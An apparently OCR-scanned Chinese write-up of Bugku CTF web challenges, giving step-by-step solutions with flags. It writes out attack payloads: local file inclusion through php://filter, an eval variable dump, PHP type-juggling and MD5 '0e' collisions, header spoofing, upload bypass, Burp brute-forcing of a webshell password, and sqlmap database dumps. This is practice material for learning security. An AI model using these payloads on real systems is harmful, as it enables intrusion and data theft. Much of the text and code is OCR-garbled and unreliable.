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flag{CTF-bugku-0032}
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<IDOCTYPE himl PUBLIC *-//W3C//DTD XHTML 1.0 Transitional//EN" “http://wim.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://wim w3.0rg/1999/ xhtml ">

» <head></head>
+ <body>

Ol O #G- @R
n

<span id="code” class="code" stm‘{kgmunm: rgb(38, 45, 55) none repeat scroll @ O%; color: rgb(81, 72, 214);">85+12=7</span>

<button check">EiF</button> @
b <div style="text-align:center;"></div>
<script src="js/jquery-1

3.min.js"></script>
<script type="text/Javascript” src="is/code. js"></script>
</body>
</html>

get flag:

flag {CTF-bugku-0032}
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http/120.24.86.145:8002/get/

et s GETISHERINE FEE flag” HE
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$what=$_GET['what'];
echo $what;
if($what=="flag")

echo 'flag{****}';

flagflag{bugku_get_su8kej2en}

get flag:

flagflag{bugku get su8kej2en}
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http://120.24.86.145:8002/post/

Flag

HBZ5$ POSTHEFA NN [E FE/E f lag” #E

@ Load URL
4 Split URL
) Execute

http://120.24.86.145:8002/post/

[[Post data [ |Referrer € OxHEX >» &% %URL a

Post data |what=f|ag |

$what=$_POST['what'];

echo $what;

if($what=="flag")

echo 'flag{****}';
flagflag{bugku_get_ssseint67se}

get flag:

flagflag{bugku get ssseint67se}
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Flag

$num=$ GET[ num’ J;

if('is numeric ($num))

{

echo $num;

if ($num==1)

echo ’ flag {*wwrkririek)”

}
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fliiplayload \ http://120. 24. 86. 145:8002/get/index 1. php?num=1laaalil[FZEfEflag” #t
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$num=%$_GET['num’];
if(lis_numeric($num))

{

echo $num;

if($num==1)

echo 'flag[***kxk x4 %)

}
laaaflag{bugku-789-ps-ssdf}

o) 120.24.86.145:8002/get/index1.php?num=1aaa

get flag:

flag {bugku-789-ps—ssdf}
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ASCII (fi: a b c)

KEY{J2sa42ahJK-HS11I1I}

 mmaTs

-l (B 0x618k618k61/62) [ i Ox

0x4b0X450x590x7b0x4a@x320x730x610x340x 328x610x68
10x3 d

it (Bl: 97 98 99)

756989123745011597525097104747545728349497373731
25

get flag:
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WFA#4E flagbugku.com fEHTE120.24 86.145 HAES Flflag

Submit
Flag

500 B BV 3E T sk AR £ 1ag. bugku. com= #T fafE il flag
#RZhosts = E = 51120. 24. 86. 1453 flag. bugku. com 418 £ = HiMiiH [A]flag. bugku. comlif[F ZE{E flag”
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windows&X 243 c: \windows\system32\drivers\etc\hosts EHF H = F LR = [FAZFNK T 1 17 5 A7 e ik
T =Fhosts s\ S AL 147 06 7 WL 1

get flag:

KEY {DSAHDS J82HDS2211}
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Flag


http://123.206.87.240:8002/web12/

ST IR E Y= > 1 il [EEH|flag is here = RA “« FEETRETT B4 gofSBUE = PRI
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Response

Raw | Headers | Hex | HTML | Render
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,
initial-scale=1.0">
<meta name="description" content="">
<meta name="author” content="">
<title>Dummy game</title>
</head>

<script language="JavaScript">

function myrefresh(){

window. location.reload();

¥

setTimeout( 'myrefresh()',500);

</script>

<body>

<center><strong>I want to play Dummy game with
othersf£jBut I can't stc?d/strongx/centew
<center>Stop at panda ! will get flag</center>
<center><div><img drc="10.]jpg"/></div></center><br><a
style="disp1ay:nonq">f1ag{dummy7game71sstfpopular

}</a></body>
</html>

get flag:

flag {dummy game 1s sO popular}
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Flaghsk : Flagmomxxsxxxxxxxx

HHFR 77 FPHPTEAT = PR Bhum S AL I B s sE 1 E
JUVRBEUMMAE MR 5] (jpg png gif) &1

[E i JEHE Content—Type M 28 = BPF4) = SfContent—Typell \.image/ jpeglif [ fE il flag”

Upgrade-Insecure-Requests: 1 X-Powered-By: PHP/7.0.7

Content-Type: multipart/form-data; Content-Length: 37
boundary=-------------ommomo oo 4399259120953

79770905662955 Flag:42e97d465f962c53df9549377b513c7e

Content-Length: 241

----------------------------- 439925912095379770905
662955

Content-Disposition: Wta; name="file";
filename="a.php"

ontent-Type: image/jpeg

get flag:



Flag:42e97d465£962c53df9549377b513c7e
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Topic Link xhttp://120. 24. 86. 145:8004/index1. php
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hitp/120.24.86.145:8004/index.php

Flag

flag In the variable ! <?php

error reporting(0) ;
include “flagl.php”;
highlight file( file );
if (isset ($ GET[ args’ 1)) {
$args = $ GET[ args’];
if (Ipreg match(”/ \w+$/”, Sargs)) {
die("args error!”);

}

eval ("var dump ($$args);”);

il

JUARA LA [E A2 5% FFHE php BUET WL 15 1874 = MilEpayload
http://120. 24. 86. 145:8004/1index1. php?args=GLOBALS

BANRET R ORI AL RLET = BNEFFET lag” P

€) ®]120.24.86.145:8004/index1.php?args=GLOBALS 0% | ¢ | @ |QARF

[EIMost Visitedv [flOffensive Security “\ Kali Linux “\ Kali Docs “\Kali Tools % Exploit-DB WAircrack-ng illKali Forums "\ NetHunter "\ Kali Training @ Getting Started Y i = A
flag In the variable ! <?php
error_reporting(8);
include "flagl.php";
highlight_file(__file_);
if(isset($_GET['args'])){

$args = $_GET['args'];

if(!preg_match("/™\w+$/" $args)){

die("args error!");

}
eval("var_dump($$args);");
}

>

array(7) { ["GLOBALS"J=> *RECURSION* ["_POST"}=> array(0) { } ["_GET"]=> array(1) { ["args"}=> string(7) "GLOBALS" } ["_COOKIE"}=> array(0) { } ["_FILES"}=> array(0) { } ["ZFkwe3"]=> string(38)
"flag{92853051ab894a64{7865cf3c2128b34}" ["args"]=> string(7) "GLOBALS" }

get flag:

flag{92853051ab894a647865c3c2128b34}
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ctf {whatfk}
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Submit

Flag

flag
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Response
(e | Headers | Hex | 1L | Render

HTTP/1.1 200 OK

Server: nginx

Date: Wed, 18 Jul 2018 07:05

Content-Type: text/bfml

Connection: close
ag{Bugku_k8_23s_istra

Content-Length: 139

<html>
<meta http-equiv="Content-Type"
conten ext/html; charset=UTF-8" />

<pre><br><br><br><br>ft4 &%, <br><br>
</html>

get flag:



flag {Bugku k8 23s istral
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http://123.206.87.240:8002/webshell/

EASEARSEEAZEPEEEE

HRESHRAL D 55 SAT T = B 78 i 1 4 H AR R A AR

SHEEE: EELLgE RS 0/E1
1 it HTTPIRGL
1 http: //123.206.87. 2408002 /webshell /index. php 200

2 http: //123. 20¢ 7.240:8002/webzhell /shell. php 200

Phy

i )\shell. php®' Zish = 52 PFEE ¥ % AR = Bl fburpsui tel il

W) 75 5

Lonfigure the positions where payloads will be inseried Into the base request. | he attack type determines the \

Attack type: {Sniper

POST /webshell/shell. php HITP/1. 1

Host: 123.206. 87.240:8002

User-Agent: Woziila/5. 0 (Windows NT 10.0; Win64. =64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html, application/zhtml+xml, application/zml: q=0.9,*/*: q=0.8
Accept-Language: zh-CN, zli; q=0. 8, zh-TV; q=0. 7, zh-HK, ¢=0. 5, en-US; ¢=0. 3, en; q=0. 2
Accept-Encoding: gzip, deflate

Referer: http://123. 206. 87. 240:8002/webshell/shell. php

Content-Type: application/z-www—form-urlencoded

Content-Length: 10

Cookie: PHPSESSID=brii7lej3ingddrfladnmllkad8l ipuf3

Commection: keep-alive

Upgrade-Insecure-Requests: 1

pass=|§ admin §

N
FREE
[ 4} X
Look In: {ﬁ Blasting_dictionary-master |'} @ (e (@ J ]
| dictionaries.txt [ top10W.txt webshellPassword bt BETH
top100password.txt HRED
hd topS00#ER A bt HRAFE
i weblogicBi 1 FRIFIZE txt ARBE N
EL AN

File Name: webshellPassword txt

Files of Type: |AllFiles |

Cancel

HEZ LK


http://123.206.87.240:8002/webshell/

Intruder attack 1
Attack Save Columns

- Target T Positions I Payloads I Options ]

Filter: Showing all items

>

Request —|Payload o™ | status Error Timeout Comment
24 hack 200 o O
0 200 ] O 1125 baseline request
1 a1s2d3f4 200 =] o 1125
2 152012 200 =] o 1125
3 147 200 =] =] 1125
4 258. 200 =] o 1125
5 NI610B 200 =] O 1125
6 yyihacker 200 a g 1125
7 cnnsc 200 a =] 1125
8 LN 123456 200 =] =] 1125
9 kisslove 200 =] =] 1125
11 369 200 o O 1125
10 zhack 200 a O 1125
12 lele 200 a O 1125

Response

Params T Headers THex l
POST /webshell/shell.php HITP/1.1
Host: 123. 206. 87. 240:8002
User-Agent: Nozilla/5.0 (Windows NT 10.0; WinB4; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html, application/xhtml+xml, application/sml:a=0. 9,%/*; o=0. 8
‘Type a search term

#i/\pass: hack

WebShel |

get flag:

flag{hack bug ku035}

AT AT =7 S E T

GitHub®ll B 2534 x https://github. com/Qftm/Blasting—dictionary

14. BEPSWR) 2%
W x TPl 4 base64ZHAL
Topic Link xhttp://123.206.31.85:1003/

TR A%
60

http://123.206.31.85:1003/

flag#& 2 flagf}

FL2AEHE R 32 FF 7 F AR R e 2255 H, <!—— dGVzdDEyMw== —> iEfibaseb4fik & KMifEH]==""test 123


http://123.206.31.85:1003/

B A A R admin Ok R PE = SZFFEAMK = U ENRARAE TPEEMR U 5% = FF 401 A @ 1P = JCHTTPHEA SR ik ap HE 35

X-Forwarded-For: 127.0.0.1

OB %S B UERLS ZFEAN flag

font style="color:#FF00007><h3>The flag is: 85ff2ee4171396724bae20c0bd851f6h< /M3><bri\></font' >
Panden

get flag:

flag{85ff2ee4171396724bae20c0bd85116b}
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EW x url Y

Topic Link xhttp://120. 24. 86. 145:8002/web4/
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web4
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FEERRILE

http://120.24.86.145:8002/webd/

B AT Wb HEA 1



<html>

<title>BKCTF-WEB4</title>

<body>

{div style="display:none;”></div>

{form action="index. php” method="post” >

WA HEA LA - <br>

<br>

{script>

var pl =

" %66%75%6e%63%7 4%69%6 %6 e%20%63%68%65%63%60%5 3% 7 5%62%6d%69%74%28%29%7h%76%6 1%72%20%6 1%3 d%64%6 £%63%75%6 d%65%6e%74%2e%67%65%7
4%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%6 1%73%73%7 7%6 £%72%64%22%29%3b%69%66%28%22%75%6 €%64%65%66%6 9%6e%65%64%22%21%3d% 7
4%79%70%65%6 £%66%20%6 1%29%7b%69%66%28%22%36%3 7%64%37%30%39%62%32%62" ;

var p2 =

" %6 1%6 1%36%34%38%6 3%66%36%65%38%3 7%6 1%37%3 1%3 1%34%66%3 1%22%3 d%3d%6 1%2e%76%6 1%6c%75%65%29%72%65%74%75%7 2%6%2 1%30%3b%6 1 %6 %6
5%72%74%28%22%45%72%72%6 £%72%22%29%3b%6 1%2e%66%6 £%6 3%7 5%7 3%28%29%3b%7 2%65%74%7 5%72%6e%21%31%7 d%7d%64%6 £%63%75%6d%65%6e%74%2
e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6 c%65%76%65%6 %5 1%75%65%7 3%74%22%29%2e%6 £%6 %7 3%75%62%6d%69%74%3d%6 3%68%6
5%63%6b%53%75%62%6d%69%74%3b” ;

eval (unescape (pl) + unescape (" %35%34%61%61%32" + p2));

{/script>

{input type="input” name="flag” id="flag” />

<{input type="submit” name="submit” value="Submit” />
<{/form>

<{/body>

</html>

BfplHEp2= "C%35%34%61%61%32No /e f&TURLAR AL £ 2 T oo iR H 5 #5ASCIT + L1k 22 B A F5% -

66 75 6e 63 74 69 6f 6e 20 63 68 65 63 6b 53 75 62 6d 69 74 28 29 Tb 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74
45 6¢ 65 6d 65 6e 74 42 79 49 64 28 22 70 61 73 73 77 6f 72 64 22 29 3b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74
79 70 65 6f 66 20 61 29 Tb 69 66 28 22 36 37 64 37 30 39 62 32 62

35 34 61 61 32

61 61 36 34 38 63 66 36 65 38 37 61 37 31 31 34 66 31 22 3d 3d 61 2e 76 61 6¢ 75 65 29 72 65 74 75 72 6e 21 30 3b 61 6¢ 65
72 74 28 22 45 72 72 6f 72 22 29 3b 61 2e 66 6f 63 75 73 28 29 3b 72 65 74 75 72 6e 21 31 7d 7d 64 6f 63 75 6d 65 6e 74 2e
67 65 74 45 6¢c 65 6d 65 6e 74 42 79 49 64 28 22 6¢ 65 76 65 6¢ 51 7H 65 73 T4 22 29 2e 6f 6e 73 75 62 6d 69 74 3d 63 68 65
63 6b 53 75 62 6d 69 74 3b

fiZleval O T Wk r2E )5 = fHH]7 F functionJ]JBK

function checkSubmit () {
var a=document. getElementByld ("password”) ;
if ("undefined”!=typeof a) {
if (”67d709b2bb4aa2aab48cf6e87a7114f1”==a. value)
return!0;
alert ("Error”) ;
a. focus () ;

return!l

}

document. getElementById (“levelQuest”). T nsubmit=checkSubmit;

2R 22 H,767d709b2bb4aa2aa648¢ F6e87a7114 117 I [H ZE /8 f 1ag



BARIRRED 2

\ || submit

KEY{J22JK-HS11}

get flag:

KEY {J22JK-HS11}

16. flagidindex%

it x phpfli X
Topic Link xhttp://123.206.87.240:8005/post/

flagZ£index 2
80

Nitp://123.206,87.240:8005/post/
HaBt
i‘ﬁ =HEE X

phpfifi BLilX x
file:// - HMANZSTEAT A%
http:// === iH[E HTTP(s) %'k
ftp:// «++ iH[E] FTP(s) URLs
php:// - HERBFEFI/\/HOT5E + 1/0 streams -
zlib:// «- L4 HE
data:// --- P48 + RFC 2397 -
glob:// - Wh¥PIE 3 1% ZE BRAMM 51
phar:// «-+ PHP &#k
ssh2:// -+ Secure Shell 2
rar:// -+ RAR
ogg:// -+ HERDE
expect:// -+ KIEZLE G| IRHE

B AHAES x click me? no

&> @ @ @ 123.206.87.240:8005/post/index.php
L BEwiA B lsrss B s

click me? no

i J\testHuh i

< C @ @ 123.206.87.240:8005/post/index.phpPfile=show.php

O mapE 5 ydieass B sEmit

test5


http://123.206.87.240:8005/post/

AR

?file=show. php

VERIE T SIC s ) Vv

BI| 7 phpfili L X 14TV R

MRS E 840 x flagitindex®

JCikpayload x ?2file=php://filter/convert. baseb4—encode/resource=index. php
7F% index. phpSeitibase647% & R UERL = 7 Hele farfk & x

Base64/INE. fRZ

Base64fiNZ, #7%

PGhObWw+DQogICAGPHRpAGXIPK) 172t 1LWNOZjwvdGIObGU +DQoglCAGDQoBP3BocAOKCWVycmayX3lcGOydGluZygwKTsNCglpZigh)FOHRVRbZmIsZVOpe2VjaG8g)zxt
1GhyZWY9li4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAIPMNsaWNrIG11PyBubzwvYT4nO30NCgkkZmisZTOkX0dFVFsnZmlsZSddOwOKCWImKHNOcnNOcigkZmlsZSwiLi4vli
18fHNOcmIzdHIo)GZpbGUsICI0cClpfHxzdHJpc3RyKCRmaWxILC)pbnB1dClpfHxzdH)pc3RyKCRmaWxILCIKYXRhlikpewOKCQIIY 2hviCJPaCBuby EIOWOKCQIleGIOKCk7DQolf
QOKCWIuY2x1ZGUo)GZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmIfZWxpZI9sYWNvbF9zaV9zaWhOfQOKPz4NCjwvaHRtbD4NCg==

BASEG4NNZE  BASEGAER:  nigmE  imrAaR VRS
$ile=$_GET[file']; -
if(strstr($file,"../")||stristr($file, "tp")|[stristr($file, "input”)||stristr($file,"data")){
echo "Oh no!";
exit(]

}
include($file):
//flag:flag{edulcni_elif lacol si_siht}

7>
</html> >

IOHER B get flagx

flag:flag{edulcni elif lacol si siht}

17. BU\E Bt lag

B x 2 B R
Topic Link xhttp://123.206. 87. 240:8002/baopo/

N E 3 S Fflag
80

http://123.206.87.240:8002/baopo/

&+ Se7en

I ZBurpSui t e e & & i

MAEEES | | &% |

W ASE S E LS A, RIEDTER A K.



http://123.206.87.240:8002/baopo/

Aftack type: [Sniper

POST /bacpo/9yes HITP/1. 1

Host: 123.206. 87. 240:8002

User-Agent: Mozilla/5. 0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9,*/* q=0.8
Accept-Language: zh-Cl, zh;q=0. 8, zh-TW,; ¢=0. 7, zh-HK; ¢=0. 5, en-US; q=0. 3, en; ¢=0. 2
Accept-Encoding: gzip, deflate

Referer: http://123.206. 87. 240:8002/bacpo/

Content-Type: application/z-www—form-urlencoded

Content-Length: 9

Coolkie: PHPSESSID=brii7lej3lngddrfka%nmllkad6l lpufl

Cormmection: keep-alive

Upgrade-Insecure-Requests: 1

pwd=§ admin §

E X
LookIn- | Blasting_dictionary-master | &)@ 8l |
[ liunx_users_dictionaries tt [ top10W txt [ webshellPassword. txt
[ NTERD bt [ top100password txt [ SR it
[*) README md [" topS00# £485 bt L®EAPE
[ renkoutop.txt [ weblogicBt A ZRSFIE 0t [ AEHE X
< — .

File Name: W& &t

Files of Type: lAII Files H

M8 LengthZEZ B 13579

B}

B’ intruder attack 12

Attack Save Columns

Resuits | Target Poslllons[Payloads Options

‘ Filter: Showing all items

Request | Payload | Status | Error | Timeout | Length +| Comment
736 13579 200 a a 246

0 200 a ] 1327 baseline request
1 »¢admin 200 a a 1327

2 admin12 200 a o 1327

3 admin88s 200 a o 1327

4 adming 200 a =] 1327

5 admin123 200 a o 1327

6 sysadmin 200 a (] 1327

7 adminox 200 a a 1327

8 adminx 200 a [m] 1327

9 Bkadmin 200 a [m] 1327

10 base 200 a a 1327

" feitium 200 a o 1327

12 admins 200 a a 1327

v

Request | Response

jRﬂw I Params [ Headers M

POST /baopo/?yes HITP/1. 1

Host: 123.206.87. 240:8002

User-Agent: Nozilla/5.0 (Findows NT 10.0; VinB4; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html, application/shtml +xml, application/xml: a=0.9, /% a=0. 8

m u u u Type a search term

0 matches

]

Paused [

# )\ pwd x 13579

get flag:

flag {bugku—baopo—hah}

18. HA7 HIARK

Rt x AL T
Topic Link xhttp://123. 206. 87.240:9001/test/



http://123.206.87.240:9001/test/

BH5—8 7K
80

http://123.206.87.240:9001/test/

hints:JavaScript

FRIE A0 DAL 22 B394 -7 3 F7 1000000 BT Hb ¥ 18 il f lag= P T He i@ifL icIh *

Goal: 8/1000000

MY AEA = AR <script> AL

{script>
var clicks=0
$ (function() {
$ ("#cookie”)

. mousedown (function() {
$(this).width( 350px’ ). height ( 350px’ ) ;

D)

.mouseup (function() {
$(this).width( 375px’ ). height ( 375px’ ) ;
clicks++;
$ (“#iclickcount”). text (clicks) ;
if(clicks >= 1000000) {

var form = $( <form action="" method="post”> +

*input type="text” name="clicks” value="" + clicks + ~” hidden/> +

"</ form>’ ) ;
$C body’ ). append (form) ;
form. submit () ;
}
DN
IDF
{/script>

W IEPOSTAS IZ WA e 11 cksamfil R 110000001 [F A4 ft ] f lag= We & e & EAFEN AN Ic %) —



@ Hackbar v x

Goal: 0/1000000

Encryption¥ | Encoding ¥

@iload | § spiit | » Run

http://123. 206. 87. 240:9001/test/

[ Enable Post data
¢1icks=1000000000000000

[Jenable Referer

flag{Not_CO0kI3Cl1ck3r}

get flag:

flag{Not COOkI3Cllck3r}

19. SEA¥HeF1c 5%
ol
strstr () ZJBiEZ x
strstr - Mh¥D3EH AR ERIK T T
string strstr( string $haystack, mixed $needlel, bool $before needle = FALSE] )

[ haystack ZEHHATF needle 7 WK IIFERAAZEF UM haystack ZARIEFE Y

substr () 7JBiEZ x



substr -+ MRFEZHT AL £ AL

string substr( string $string, int $start[, int $length] )

HEFFEH string B start JE length NHER BT ZEH MY

SH

string

NS ALY OISR R

start

WX start WEHIWH= 1 MRS58 BT string i start RRF= 7 0 FITHFEE= ICFFA “abedet” Fp= IHER 0 B35
e “a”= k%R 2 BZHHAM " FKEY

WX start HEJWBl= AT string 4 RXGHME start FFBHLY

WA string GFHJERI start= GHilfE FALSEH

length

IR M ength= MMM AIHE start X FUMMAESE length F2H + ERT string BRI -

AR AR GBS length= BF string KRG length FZEHEFHEMRADE + 5 start TeIMANTZE AURARAEE - ¥ BHX start LT
IR FEINGE = HEF ol FALSE

YOHX A 5. 0= FALSE % NULL % length= JB-Fuifith[H7 a2 AL

RSB Tength= MRS A2 5 AT start FRRFRUENTHIZES S Ry

] fi

MR E I fF A= BRI FALSEY

str replace () JJBiEZ x



str replace -+ 25 IR

mixed str replace( mixed $search, mixed $replace, mixed $subject[, int &$count] )

T Witk [ 7 SR 2 HL B R A A A LS MR ZE R 5 subject SEAHRRS search fiSHR replace Hi&RKMuAALEHRY

WORRIE L TR PR B V] + RIS RIRIET] - = M RINZ A W IIMRIETE ereg replace () JL preg_replace )+

Sk

BHX search & replace \BiZf= J5F str replace() #5174 subject {EEZHFREHIEY T replace M FMUETL search &3
b= RIS IR % A A 2 58 LB RT Y IUAR search WE7 FPLER replace WB7T FFH A= 8T search 30 EEF AL IR THGLS1% AR
FZ B NN W L ABURR RE Y

{HX search Jf replace MRWEMIEE= 2l WA GHEHRAR BR X B

search

WP RS BT = ZJBIR needley 7 LMK EHEEMY
replace

search MRFEIEMIH 7 FWRek [ 1AMk AL 3 28 S SLIE
subject

HEHRIE R R EZ Y ZIEIE haystack

UOHK subject We7 FWLk= HIRMEEETE RELE subject= 1 [8 (i ZEHE 7 FRRLE
count

UM MR T8 = 22 P SR 25\ B 3 2 B 4 RR Bl

o

I B B R e e RO 2 28 2 5

parse str () JJBitZ x
parse_str - St NI E S RG]
void parse str( string $encoded stringl, array &$result] )

UMK encoded string We URL f8i% \MEMHIEZEEE M + query string - = AlSHZMRAR\EET HIVE S 52915 B35 + WAKEAT = result AL
BhlmMeE -

SH

encoded_string

LN oy

result

AR S IR RS result= BUBT SHEAABMRA AL RCIE 518\ IR bk = E\48{LY

b ] ff
T ek el 3

mdb 7] Btz x



md5 - ALFFZEH LA MD5 HHIf

string md5( string $str[, bool $raw output = false] )

SR

str

JBR Qi 2 28 Fu

raw_output

WOHR RS raw_output #RITZE TRUE= KSF- MD5 4% ZEIRHi o116 [ Je i PRI FL 8 )k 5| ik [+

b ] ff

4 32 ZESETI R HIMEENE 51 1 A fi

WHEAEHE
EH x /LB L4 MD5

Topic Link xhttp://123.206.87.240:8002/web16/

G R A1
80

http://123.206.87.240:8002/web16/

Tk AT AR

B 7 i IR AR5 A7 % SE R B 7 5. bak AR

AR HEa " R o/E

I it HTTERfR 2
i http: /7123 206, 67. 240:8002/web16/index. phy 200 i
2 http://123. 206. 87. 240:8002/web16/1index. php. bak 200

#EZ. bak AT


http://123.206.87.240:8002/web16/

<?php

/%

* Created by PhpStorm
* User: Norse

* Date: 2017/8/6

* Time: 20:22

*/

include once “flag.php”;

ini set(“display errors”, 0);

$str = strstr($_SERVER[’ REQUEST URI’], " ?°);

$str = substr($str, 1);

$str = str replace(Ckey',’”, $str);
parse str($str);

echo md5 ($keyl) ;

echo md5 ($key2) ;

if (md5 ($keyl) == md5 ($key2) && $keyl !== $key2) {

echo $flag. "Zffiflag”;

i

ARBCTE VT2 PREE BRI AL FALAE x 1. GETHEZ BT E B HEE

AT T T T T T T T T T T T2 RIS BE B A E RS key Hkey?

e N e M e M e e e e e i e o oY

if (md5 ($keyl) == md5 ($key2) && $keyl !== $key2)

HREIA x 1. B EkeyhtZEilstr repalce () JJHl

==Y TRUE

I3 3332, HEMDSR R ZE SE M4 i f (mdb ($keyl) == mdb ($key2) && $keyl '== $key2) fAF

MDS4E R 2 56 L x



QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

51091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

Wiipayload x

http://123. 206. 87. 240:8002/web16/index. php?kekeyy1=s878926199a&kekeyy2=QNKCDZ0

get flag:

Bugku {OH_YOU_FIND_MY_MOMY}

20. =4
Mt x SQLEE

Topic Link xhttp://123.206. 87.240:8002/chengjidan/

PR 4t
90

RARFFRGT
http://123.206.87.240:8002/chengjidan/

PR BN = R VR = 2 PP AU i POSTAR 1% DA Mk 1 &1 EURU S ZBEAR [7) 15


http://123.206.87.240:8002/chengjidan/

Submit

BHEPRIBIERER

‘ Math English ‘ Chinese

AR e S ACSQLEE )\ V2 = B A sqlmaple % ik

ERZRIR

python2 sqlmap.py —u”http://123.206. 87. 240:8002/chengjidan/index. php” ——dbs ——data="id=1"

RGN = SIOSQLIE \E Ve = 1 JTAL —BgdR i

python2 sqlmap. py —u”http://123.206.87.240:8002/chengjidan/index. php” ——dbs ——data="id=1" -D skctf flag —tables

"id=1" D sketf flag —tables

python2 sqlmap. py —u”http://123.206.87.240:8002/chengjidan/index. php” ——dbs ——data="id=1" -D skctf flag -T fl4g ——columns

" -D skctf_flag -T fldg —columns

]



python2 sqlmap.py —u”http://123. 206. 87. 240:8002/chengjidan/index. php” ——dbs ——data="id=1" -D skctf flag -T fl4g —C
sketf flag ——dump

ictf_flag ——dump

get flag:

BUGKU {Sq1_INJECTON_4813drd8hz4}

21. k44 1L Z " HL

FR: AT
Topic Link:

K G & ) AL
100

|\_\

http://123.206.87.240:8002/giumingshan/

ARAE A

RAE T R, 28N, OFARIONIRATRES? 7 2, % 5 PythoniiA.

<« C @ @ 123.206.87.240:8002/qiumingshan/ #oe-lw LN @ s
o manE B dless B sERE

FFE2SHITHEANNFRES />
1450739718*1862494775%806079579+1070321918-1037001617-1947753662*1452247190-326887395*1149764406+841537005*522824653=7;

(BRI S A A U SR % B AR, AT SURERBLL | L L, MTR RS2, #e
sl o

<« C ® O 123.206.87.240:8002/qiumingshan/ 3o Ml W L oINn @
o meAEl B vanEses B0 mmmn

Give me value post about 446470443+1901545017+1263883848-940321811+381650448*245087873+1766600450-1182305607-953996211*573785008%422617195=7

pythonjiii 7


http://123.206.87.240:8002/qiumingshan/
http://123.206.87.240:8002/chengjidan/

import requests

import re
"http://123.206.87.240:8002/qiumingshan/"
requests.session()

R.get(url)

url =
R

g:

page = re.findall(r'<div>(.*)=\?;</div>"', g.text)[0]

result = eval(page)
data = {'value': result}
flag = R.post(url, data=data)

print(flag.text)

° Bugku{YOU_DID_IT_BY_SECOND}

AR IZAT R B PR, A ReigfsEiflag *_*
get flag:

Bugku{YOU_DID_IT_BY_SECOND}

22, JE EAR
Hrls WA
Topic Link: http://123.206.87.240:8002/web6/
s S
100

EEEEI LI
http://123.206.87.240:8002/webé/

#5 2 KEY]

}

A TR

c @

L+ B SeiEsss B smmn

[0) view-source:http://123.206.87.240:8002/web6/

o> BRARR SN 11 </— 0K , now you have to post the margin what you find —>

IR~ 7 BEPOSTH4#: — M margin, {E & AN EiEmarginfi{E 24, TR MR iTEE

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex

GET /webf/ HITF/1.1

Host: 123.206. 87. 240:8002

User-Agent: Mozilla/5.0 (Vindows NI 10.0; WinB4; x64; rv:61.0) Gecko/20100101
Firefox/61.0

Accept: text/html, application/xhtml+zml, application/sml;q=0. 9, */*; q=0. 8
Accept-Language: zh-CH, zh; q=0. 8, zh-TVW; q=0. 7, zh-HK ; ¢=0. 5, en-US; q=0. 3, en; q=0. 2
Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=r2m93333tful73sivihdt346g4lupeph

Commection: keep-alive

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

T

HITP/1.1 200 CK

Server: nginx

Date: Sun, 31 Mar 2019 12:24:14 GHT

Content-Type: text/html;charset=utf-8

Connection: keep-alive

Keep-Alive: timeout=60

Expires: Thu, 19 Nov 1981 08:52:00 GHT

Cache-Control: no-store, no-cache, mist-revalidate, post-check=0, pre-check=0
Pragma’ nn-cache

flag: BLeRS5qEEL+VBLiNGZSITTyN5TuZ5L2gZmehZ+dpzogT IRnek5qXo=

COHTent-Lengt &9

<or> PRI A 1 1</ -- O , now vou have to post the margin what you find -=>

I AR SC B H Hiflag,  SEH Hbase64 iy A A


http://123.206.87.240:8002/web6/

6LeRSSqESL+YOL iIN6ZSZ77yMS7uZ5L 2g7mxhZ+WApzogT1Rnek5gUXo=

A || R R 45 R pA 6 )

A9 A, 5 1Rflagt®: 0TgzNjQz

M B X 2 flag????7?
WA ZE, RIMIFAREEAZE AR o o o ), MRISEEH K mmarginfE AR R IR T, 55
EmarginfE st /Eflag, =3O 55 a4 A s K IN R Bflag B 7E 22 1L .

MAERGREHA #—8 ZORUERE MR R AE— P sessionh ANREE— R K flag A #A —#

import requests
import base64

url = 'http://123.206.87.240:8002/web6/"'

#EHF— A 2x1h

r = requests.session()

#get )7 LS R

get_response = r.get(url)

#bytes.decode("value") Jy ik byte SR [ HH 4L i s tr 28 24 (1) Ficis

key = base64.b64decode(bytes.decode(base64.b64decode(get_response.headers['flag'])).split(":")[1])
#post: flag

post = {'margin': key}

post_responese = r.post(url, data=post)

HRIL T N2, T "value™ . decode () 77 %K by te 2 Y B e i ples t 2 U OB , W) 7 0 —# , (BRICR —#F
print(post_responese.content.decode())

KEY{111dd62fcd377076bel8a}

Process finished with exit code ©

get flag:

KEY{111dd62fcd377076bel8a}

23. cookiesik U

% ,5: Cookie. base64%ifid
Topic Link: http:/123.206.87.240:8002/web11/ & ZE#%: KEY {00000}


http://123.206.87.240:8002/web11/%25E7%25AD%2594%25E6%25A1%2588%25E6%25A0%25BC%25E5%25BC%258F%25EF%25BC%259AKEY%257Bxxxxxxxx%257D
http://123.206.87.240:8002/web11/%25E7%25AD%2594%25E6%25A1%2588%25E6%25A0%25BC%25E5%25BC%258F%25EF%25BC%259AKEY%257Bxxxxxxxx%257D

cookies# I
100

http://123.206.87.240:8002/web11/4& % # & KEYDooooooo}

Flag Submit

V) Zua iy 2tk Uz fsien) | fie

N
[ € | ® 123.206.87.240:8002/web11/index.php?line=&filename

\

Fa2V5cy50eHQ=

sierrns @ srrs  siEny B ases
